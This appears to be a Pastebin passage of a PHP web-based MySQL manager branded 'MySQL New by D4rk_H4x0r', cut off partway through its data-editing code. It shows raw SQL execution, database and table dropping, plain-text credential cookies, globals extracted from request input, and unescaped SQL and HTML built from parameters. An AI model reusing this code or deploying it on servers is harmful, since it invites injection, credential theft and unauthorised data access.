3x5w4rup

Databese

Aug 4th, 2013
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 38.12 KB | None | 0 0
  1. <?
  2.  
  3. if ( function_exists('ini_get') ) {
  4.     $onoff = ini_get('register_globals');
  5. } else {
  6.     $onoff = get_cfg_var('register_globals');
  7. }
  8. if ($onoff != 1) {
  9.     @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  10.     @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  11.     @extract($HTTP_POST_FILES, EXTR_SKIP);
  12.     @extract($HTTP_POST_VARS, EXTR_SKIP);
  13.     @extract($HTTP_GET_VARS, EXTR_SKIP);
  14.     @extract($HTTP_ENV_VARS, EXTR_SKIP);
  15. }
  16.  
  17. function logon() {
  18.     global $PHP_SELF;
  19.  
  20.     setcookie( "mysql_web_admin_username" );
  21.     setcookie( "mysql_web_admin_password" );
  22.     setcookie( "mysql_web_admin_hostname" );
  23.     echo "<html>\n";
  24.     echo "<head>\n";
  25.     echo "<title>MySQL New by D4rk_H4x0r</title>\n";
  26.     echo "</head>\n";
  27.     echo "<body>\n";
  28.     echo "<table width=100% height=100%><tr><td><center>\n";
  29.     echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n";
  30.     echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
  31.     echo "<h1>MySQL New by D4rk_H4x0r</h1>\n";
  32.     echo "<form action='$PHP_SELF'>\n";
  33.     echo "<input type=hidden name=action value=logon_submit>\n";
  34.     echo "<table cellpadding=5 cellspacing=1>\n";
  35.     echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  36.     echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  37.     echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  38.     echo "</table><p>\n";
  39.     echo "<input type=submit value='Enter'>\n";
  40.     echo "<input type=reset value='Clear'><br>\n";
  41.     echo "</form>\n";
  42.     echo "</center></td></tr></table>\n";
  43.     echo "</center></td></tr></table>\n";
  44.     echo "<p><hr width=300>\n";
  45.     echo "</center></td></tr></table>\n";
  46.     echo "</body>\n";
  47.     echo "</html>\n";
  48. }
  49.  
  50. function logon_submit() {
  51.     global $username, $password, $hostname ,$PHP_SELF;
  52.     if($hostname =='')
  53.         $hostname = 'localhost';
  54.     setcookie( "mysql_web_admin_username", $username );
  55.     setcookie( "mysql_web_admin_password", $password );
  56.     setcookie( "mysql_web_admin_hostname", $hostname );
  57.     echo "<html>";
  58.     echo "<head>";
  59.     echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
  60.     echo "</head>";
  61.     echo "</html>";
  62. }
  63.  
  64. function echoQueryResult() {
  65.     global $queryStr, $errMsg;
  66.  
  67.     if( $errMsg == "" ) $errMsg = "Success";
  68.     if( $queryStr != "" ) {
  69.         echo "<table cellpadding=5>\n";
  70.         echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  71.         echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  72.         echo "</table><p>\n";
  73.     }
  74. }
  75.  
  76. function listDatabases() {
  77.     global $mysqlHandle, $PHP_SELF;
  78.  
  79.     echo "<h1>Databases List</h1>\n";
  80.  
  81.     echo "<form action='$PHP_SELF'>\n";
  82.     echo "<input type=hidden name=action value=createDB>\n";
  83.     echo "<input type=text name=dbname>\n";
  84.     echo "<input type=submit value='Create Database'>\n";
  85.     echo "</form>\n";
  86.     echo "<hr>\n";
  87.  
  88.     echo "<table cellspacing=1 cellpadding=5>\n";
  89.  
  90.     $pDB = mysql_list_dbs( $mysqlHandle );
  91.     $num = mysql_num_rows( $pDB );
  92.     for( $i = 0; $i < $num; $i++ ) {
  93.         $dbname = mysql_dbname( $pDB, $i );
  94.         echo "<tr>\n";
  95.         echo "<td>$dbname</td>\n";
  96.         echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  97.         echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  98.         echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  99.         echo "</tr>\n";
  100.     }
  101.     echo "</table>\n";
  102. }
  103.  
  104. function createDatabase() {
  105.     global $mysqlHandle, $dbname, $PHP_SELF;
  106.  
  107.     mysql_create_db( $dbname, $mysqlHandle );
  108.     listDatabases();
  109. }
  110.  
  111. function dropDatabase() {
  112.     global $mysqlHandle, $dbname, $PHP_SELF;
  113.  
  114.     mysql_drop_db( $dbname, $mysqlHandle );
  115.     listDatabases();
  116. }
  117.  
  118. function listTables() {
  119.     global $mysqlHandle, $dbname, $PHP_SELF;
  120.  
  121.  
  122.     echo "<h1>Tables List</h1>\n";
  123.     echo "<p class=location>$dbname</p>\n";
  124.     echoQueryResult();
  125.     echo "<form action='$PHP_SELF'>\n";
  126.     echo "<input type=hidden name=action value=createTable>\n";
  127.     echo "<input type=hidden name=dbname value=$dbname>\n";
  128.     echo "<input type=text name=tablename>\n";
  129.     echo "<input type=submit value='Create Table'>\n";
  130.     echo "</form>\n";
  131.     echo "<form action='$PHP_SELF'>\n";
  132.     echo "<input type=hidden name=action value=query>\n";
  133.     echo "<input type=hidden name=dbname value=$dbname>\n";
  134.     echo "<input type=text size=120 name=queryStr>\n";
  135.     echo "<input type=submit value='Query'>\n";
  136.     echo "</form>\n";
  137.     echo "<hr>\n";
  138.  
  139.     $pTable = mysql_list_tables( $dbname );
  140.  
  141.     if( $pTable == 0 ) {
  142.         $msg  = mysql_error();
  143.         echo "<h3>Error : $msg</h3><p>\n";
  144.         return;
  145.     }
  146.     $num = mysql_num_rows( $pTable );
  147.  
  148.     echo "<table cellspacing=1 cellpadding=5>\n";
  149.  
  150.     for( $i = 0; $i < $num; $i++ ) {
  151.         $tablename = mysql_tablename( $pTable, $i );
  152.  
  153.         echo "<tr>\n";
  154.         echo "<td>\n";
  155.         echo "$tablename\n";
  156.         echo "</td>\n";
  157.         echo "<td>\n";
  158.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  159.         echo "</td>\n";
  160.         echo "<td>\n";
  161.         echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  162.         echo "</td>\n";
  163.         echo "<td>\n";
  164.         echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  165.         echo "</td>\n";
  166.         echo "<td>\n";
  167.         echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  168.         echo "</td>\n";
  169.         echo "</tr>\n";
  170.     }
  171.  
  172.     echo "</table>";
  173. }
  174.  
  175. function createTable() {
  176.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  177.  
  178.     $queryStr = "CREATE TABLE $tablename ( no INT )";
  179.     mysql_select_db( $dbname, $mysqlHandle );
  180.     mysql_query( $queryStr, $mysqlHandle );
  181.     $errMsg = mysql_error();
  182.  
  183.     listTables();
  184. }
  185.  
  186. function dropTable() {
  187.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  188.  
  189.     $queryStr = "DROP TABLE $tablename";
  190.     mysql_select_db( $dbname, $mysqlHandle );
  191.     mysql_query( $queryStr, $mysqlHandle );
  192.     $errMsg = mysql_error();
  193.  
  194.     listTables();
  195. }
  196.  
  197. function viewSchema() {
  198.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  199.  
  200.     echo "<h1>Table Schema</h1>\n";
  201.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  202.  
  203.     echoQueryResult();
  204.  
  205.     echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  206.     echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  207.     echo "<hr>\n";
  208.  
  209.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  210.     $num = mysql_num_rows( $pResult );
  211.  
  212.     echo "<table cellspacing=1 cellpadding=5>\n";
  213.     echo "<tr>\n";
  214.     echo "<th>Field</th>\n";
  215.     echo "<th>Type</th>\n";
  216.     echo "<th>Null</th>\n";
  217.     echo "<th>Key</th>\n";
  218.     echo "<th>Default</th>\n";
  219.     echo "<th>Extra</th>\n";
  220.     echo "<th colspan=2>Action</th>\n";
  221.     echo "</tr>\n";
  222.  
  223.  
  224.     for( $i = 0; $i < $num; $i++ ) {
  225.         $field = mysql_fetch_array( $pResult );
  226.         echo "<tr>\n";
  227.         echo "<td>".$field["Field"]."</td>\n";
  228.         echo "<td>".$field["Type"]."</td>\n";
  229.         echo "<td>".$field["Null"]."</td>\n";
  230.         echo "<td>".$field["Key"]."</td>\n";
  231.         echo "<td>".$field["Default"]."</td>\n";
  232.         echo "<td>".$field["Extra"]."</td>\n";
  233.         $fieldname = $field["Field"];
  234.         echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  235.         echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  236.         echo "</tr>\n";
  237.     }
  238.     echo "</table>\n";
  239.  
  240. }
  241.  
  242. function manageField( $cmd ) {
  243.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  244.  
  245.     if( $cmd == "add" )
  246.         echo "<h1>Add Field</h1>\n";
  247.     else if( $cmd == "edit" ) {
  248.         echo "<h1>Edit Field</h1>\n";
  249.         $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  250.         $num = mysql_num_rows( $pResult );
  251.         for( $i = 0; $i < $num; $i++ ) {
  252.             $field = mysql_fetch_array( $pResult );
  253.             if( $field["Field"] == $fieldname ) {
  254.                 $fieldtype = $field["Type"];
  255.                 $fieldkey = $field["Key"];
  256.                 $fieldextra = $field["Extra"];
  257.                 $fieldnull = $field["Null"];
  258.                 $fielddefault = $field["Default"];
  259.                 break;
  260.             }
  261.         }
  262.         $type = strtok( $fieldtype, " (,)\n" );
  263.         if( strpos( $fieldtype, "(" ) ) {
  264.             if( $type == "enum" | $type == "set" ) {
  265.                 $valuelist = strtok( " ()\n" );
  266.             } else {
  267.                 $M = strtok( " (,)\n" );
  268.                 if( strpos( $fieldtype, "," ) )
  269.                     $D = strtok( " (,)\n" );
  270.             }
  271.         }
  272.     }
  273.  
  274.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  275.     echo "<form action=$PHP_SELF>\n";
  276.  
  277.     if( $cmd == "add" )
  278.         echo "<input type=hidden name=action value=addField_submit>\n";
  279.     else if( $cmd == "edit" ) {
  280.         echo "<input type=hidden name=action value=editField_submit>\n";
  281.         echo "<input type=hidden name=old_name value=$fieldname>\n";
  282.     }
  283.     echo "<input type=hidden name=dbname value=$dbname>\n";
  284.     echo "<input type=hidden name=tablename value=$tablename>\n";
  285.  
  286.     echo "<h3>Name</h3>\n";
  287.     echo "<input type=text name=name value=$fieldname><p>\n";
  288.     echo '
  289.  
  290. <h3>Type</h3>
  291.  
  292. <font size=2>
  293. * `M\' indicates the maximum display size.<br>
  294. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  295. </font>
  296.  
  297. <table>
  298. <tr>
  299. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  300. </tr>
  301. <tr>
  302. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  303. <td align=center>O</td>
  304. <td>&nbsp</td>
  305. <td align=center>O</td>
  306. <td align=center>O</td>
  307. <td>&nbsp</td>
  308. </tr>
  309. <tr>
  310. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  311. <td align=center>O</td>
  312. <td>&nbsp</td>
  313. <td align=center>O</td>
  314. <td align=center>O</td>
  315. <td>&nbsp</td>
  316. </tr>
  317. <tr>
  318. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  319.  
  320. <td align=center>O</td>
  321. <td>&nbsp</td>
  322. <td align=center>O</td>
  323. <td align=center>O</td>
  324. <td>&nbsp</td>
  325. </tr>
  326. <tr>
  327. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  328. <td align=center>O</td>
  329. <td>&nbsp</td>
  330. <td align=center>O</td>
  331. <td align=center>O</td>
  332. <td>&nbsp</td>
  333. </tr>
  334. <tr>
  335. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  336. <td align=center>O</td>
  337. <td>&nbsp</td>
  338. <td align=center>O</td>
  339. <td align=center>O</td>
  340. <td>&nbsp</td>
  341. </tr>
  342. <tr>
  343. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  344. <td align=center>O</td>
  345. <td align=center>O</td>
  346. <td>&nbsp</td>
  347. <td align=center>O</td>
  348. <td>&nbsp</td>
  349. </tr>
  350. <tr>
  351. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  352. <td align=center>O</td>
  353. <td align=center>O</td>
  354. <td>&nbsp</td>
  355. <td align=center>O</td>
  356. <td>&nbsp</td>
  357. </tr>
  358. <tr>
  359. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  360. <td align=center>O</td>
  361. <td align=center>O</td>
  362. <td>&nbsp</td>
  363. <td align=center>O</td>
  364. <td>&nbsp</td>
  365. </tr>
  366. <tr>
  367. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td>&nbsp</td>
  372. <td>&nbsp</td>
  373. </tr>
  374. <tr>
  375. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  376. <td>&nbsp</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. <td>&nbsp</td>
  381. </tr>
  382. <tr>
  383. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  384. <td align=center>O</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. <td>&nbsp</td>
  389. </tr>
  390. <tr>
  391. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. <td>&nbsp</td>
  397. </tr>
  398. <tr>
  399. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  400. <td>&nbsp</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. <td>&nbsp</td>
  405. </tr>
  406. <tr>
  407. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  408. <td align=center>O</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. <td align=center>O</td>
  413. </tr>
  414. <tr>
  415. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  416. <td align=center>O</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. <td align=center>O</td>
  421. </tr>
  422. <tr>
  423. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. <td>&nbsp</td>
  429. </tr>
  430. <tr>
  431. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. <td>&nbsp</td>
  437. </tr>
  438. <tr>
  439. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. <td>&nbsp</td>
  445. </tr>
  446. <tr>
  447. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  448. <td>&nbsp</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. <td>&nbsp</td>
  452. <td>&nbsp</td>
  453. </tr>
  454. <tr>
  455. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  456. <td>&nbsp</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. <td>&nbsp</td>
  460. <td>&nbsp</td>
  461. </tr>
  462. <tr>
  463. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  464. <td>&nbsp</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. <td>&nbsp</td>
  468. <td>&nbsp</td>
  469. </tr>
  470. <tr>
  471. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  472. <td>&nbsp</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. <td>&nbsp</td>
  476. <td>&nbsp</td>
  477. </tr>
  478. <tr>
  479. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  480. <td>&nbsp</td>
  481. <td>&nbsp</td>
  482. <td>&nbsp</td>
  483. <td>&nbsp</td>
  484. <td>&nbsp</td>
  485. </tr>
  486. <tr>
  487. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  488. <td colspan=5><center>value list</center></td>
  489. </tr>
  490. <tr>
  491. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  492. <td colspan=5><center>value list</center></td>
  493. </tr>
  494.  
  495. </table>
  496. <table>
  497. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  498. <tr>
  499. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  500. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  501. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  502. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  503. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
  504. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  505. </tr>
  506. </table>
  507.  
  508.  
  509. <h3>Flags</h3>
  510. <table>
  511. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  512. <tr>
  513. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  514. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  515. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  516. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  517. </tr>
  518. </table>
  519.  
  520. <p>';
  521.  
  522.     if( $cmd == "add" )
  523.         echo "<input type=submit value='Add Field'>\n";
  524.     else if( $cmd == "edit" )
  525.         echo "<input type=submit value='Edit Field'>\n";
  526.     echo "<input type=button value=Cancel onClick='history.back()'>\n";
  527.     echo "</form>\n";
  528. }
  529.  
  530. function manageField_submit( $cmd ) {
  531.     global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  532.         $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  533.  
  534.     if( $cmd == "add" )
  535.         $queryStr = "ALTER TABLE $tablename ADD $name ";
  536.     else if( $cmd == "edit" )
  537.         $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  538.    
  539.     if( $M != "" )
  540.         if( $D != "" )
  541.             $queryStr .= "$type($M,$D) ";
  542.         else
  543.             $queryStr .= "$type($M) ";
  544.     else if( $valuelist != "" ) {
  545.         $valuelist = stripslashes( $valuelist );
  546.         $queryStr .= "$type($valuelist) ";
  547.     } else
  548.         $queryStr .= "$type ";
  549.  
  550.     $queryStr .= "$unsigned $zerofill $binary ";
  551.  
  552.     if( $default_value != "" )
  553.         $queryStr .= "DEFAULT '$default_value' ";
  554.    
  555.     $queryStr .= "$not_null $auto_increment";
  556.  
  557.     mysql_select_db( $dbname, $mysqlHandle );
  558.     mysql_query( $queryStr, $mysqlHandle );
  559.     $errMsg = mysql_error();
  560.  
  561.     // key change
  562.     $keyChange = false;
  563.     $result = mysql_query( "SHOW KEYS FROM $tablename" );
  564.     $primary = "";
  565.     while( $row = mysql_fetch_array($result) )
  566.         if( $row["Key_name"] == "PRIMARY" ) {
  567.             if( $row[Column_name] == $name )
  568.                 $keyChange = true;
  569.             else
  570.                 $primary .= ", $row[Column_name]";
  571.         }
  572.     if( $primary_key == "PRIMARY KEY" ) {
  573.         $primary .= ", $name";
  574.         $keyChange = !$keyChange;
  575.     }
  576.     $primary = substr( $primary, 2 );
  577.     if( $keyChange == true ) {
  578.         $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  579.         mysql_query( $q );
  580.         $queryStr .= "<br>\n" . $q;
  581.         $errMsg .= "<br>\n" . mysql_error();
  582.         $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  583.         mysql_query( $q );
  584.         $queryStr .= "<br>\n" . $q;
  585.         $errMsg .= "<br>\n" . mysql_error();
  586.     }
  587.  
  588.     viewSchema();
  589. }
  590.  
  591. function dropField() {
  592.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  593.  
  594.     $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  595.     mysql_select_db( $dbname, $mysqlHandle );
  596.     mysql_query( $queryStr , $mysqlHandle );
  597.     $errMsg = mysql_error();
  598.  
  599.     viewSchema();
  600. }
  601.  
  602. function viewData( $queryStr ) {
  603.     global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  604.  
  605.     echo "<h1>Data in Table</h1>\n";
  606.     if( $tablename != "" )
  607.         echo "<p class=location>$dbname &gt; $tablename</p>\n";
  608.     else
  609.         echo "<p class=location>$dbname</p>\n";
  610.  
  611.     $queryStr = stripslashes( $queryStr );
  612.     if( $queryStr == "" ) {
  613.         $queryStr = "SELECT * FROM $tablename";
  614.         if( $orderby != "" )
  615.             $queryStr .= " ORDER BY $orderby";
  616.         echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  617.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  618.     }
  619.  
  620.     $pResult = mysql_db_query( $dbname, $queryStr );
  621.     $fieldt = mysql_fetch_field($pResult);
  622.     $tablename = $fieldt->table;
  623.     $errMsg = mysql_error();
  624.  
  625.     $GLOBALS[queryStr] = $queryStr;
  626.  
  627.     if( $pResult == false ) {
  628.         echoQueryResult();
  629.         return;
  630.     }
  631.     if( $pResult == 1 ) {
  632.         $errMsg = "Success";
  633.         echoQueryResult();
  634.         return;
  635.     }
  636.  
  637.     echo "<hr>\n";
  638.  
  639.     $row = mysql_num_rows( $pResult );
  640.     $col = mysql_num_fields( $pResult );
  641.  
  642.     if( $row == 0 ) {
  643.         echo "No Data Exist!";
  644.         return;
  645.     }
  646.    
  647.     if( $rowperpage == "" ) $rowperpage = 30;
  648.     if( $page == "" ) $page = 0;
  649.     else $page--;
  650.     mysql_data_seek( $pResult, $page * $rowperpage );
  651.  
  652.     echo "<table cellspacing=1 cellpadding=2>\n";
  653.     echo "<tr>\n";
  654.     for( $i = 0; $i < $col; $i++ ) {
  655.         $field = mysql_fetch_field( $pResult, $i );
  656.         echo "<th>";
  657.         if($action == "viewData")
  658.             echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  659.         else
  660.             echo "<font style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
  661.         echo "</th>\n";
  662.     }
  663.     echo "<th colspan=2>Action</th>\n";
  664.     echo "</tr>\n";
  665.  
  666.     for( $i = 0; $i < $rowperpage; $i++ ) {
  667.         $rowArray = mysql_fetch_row( $pResult );
  668.         if( $rowArray == false ) break;
  669.         echo "<tr>\n";
  670.         $key = "";
  671.         for( $j = 0; $j < $col; $j++ ) {
  672.             $data = $rowArray[$j];
  673.  
  674.             $field = mysql_fetch_field( $pResult, $j );
  675.             if( $field->primary_key == 1 )
  676.                 $key .= "&" . $field->name . "=" . $data;
  677.  
  678.             if( strlen( $data ) > 30 )
  679.                 $data = substr( $data, 0, 30 ) . "...";
  680.             $data = htmlspecialchars( $data );
  681.             echo "<td>\n";
  682.             echo "$data\n";
  683.             echo "</td>\n";
  684.         }
  685.          
  686.         if( $key == "" )
  687.             echo "<td colspan=2>no Key</td>\n";
  688.         else {
  689.             echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  690.             echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  691.         }
  692.         echo "</tr>\n";
  693.     }
  694.     echo "</table>\n";
  695.  
  696.     echo "<font size=2>\n";
  697.     if($action == "viewData")
  698.         echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
  699.     else
  700.         echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  701.     echo "<font color=green>\n";
  702.     echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  703.     echo "</font>\n";
  704.     echo " | ";
  705.     if( $page > 0 ) {
  706.         if($action == "viewData")
  707.             echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
  708.         else
  709.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  710.         if( $orderby != "" && $action == "viewData")
  711.             echo "&orderby=$orderby";
  712.         echo "'>Prev</a>\n";
  713.     } else
  714.         echo "Prev";
  715.     echo " | ";
  716.     if( $page < ($row/$rowperpage)-1 ) {
  717.         if($action == "viewData")
  718.             echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
  719.         else
  720.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  721.         if( $orderby != "" && $action == "viewData")
  722.             echo "&orderby=$orderby";
  723.         echo "'>Next</a>\n";
  724.     } else
  725.         echo "Next";
  726.     echo " | ";
  727.     if( $row > $rowperpage ) {
  728.         echo "<input type=text size=4 name=page>\n";
  729.         echo "<input type=submit value='Go'>\n";
  730.     }
  731.     echo "</form>\n";
  732.     echo "</font>\n";
  733. }
  734.  
  735. function manageData( $cmd ) {
  736.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  737.  
  738.     if( $cmd == "add" )
  739.         echo "<h1>Add Data</h1>\n";
  740.     else if( $cmd == "edit" ) {
  741.         echo "<h1>Edit Data</h1>\n";
  742.         $pResult = mysql_list_fields( $dbname, $tablename );
  743.         $num = mysql_num_fields( $pResult );
  744.    
  745.         $key = "";
  746.         for( $i = 0; $i < $num; $i++ ) {
  747.             $field = mysql_fetch_field( $pResult, $i );
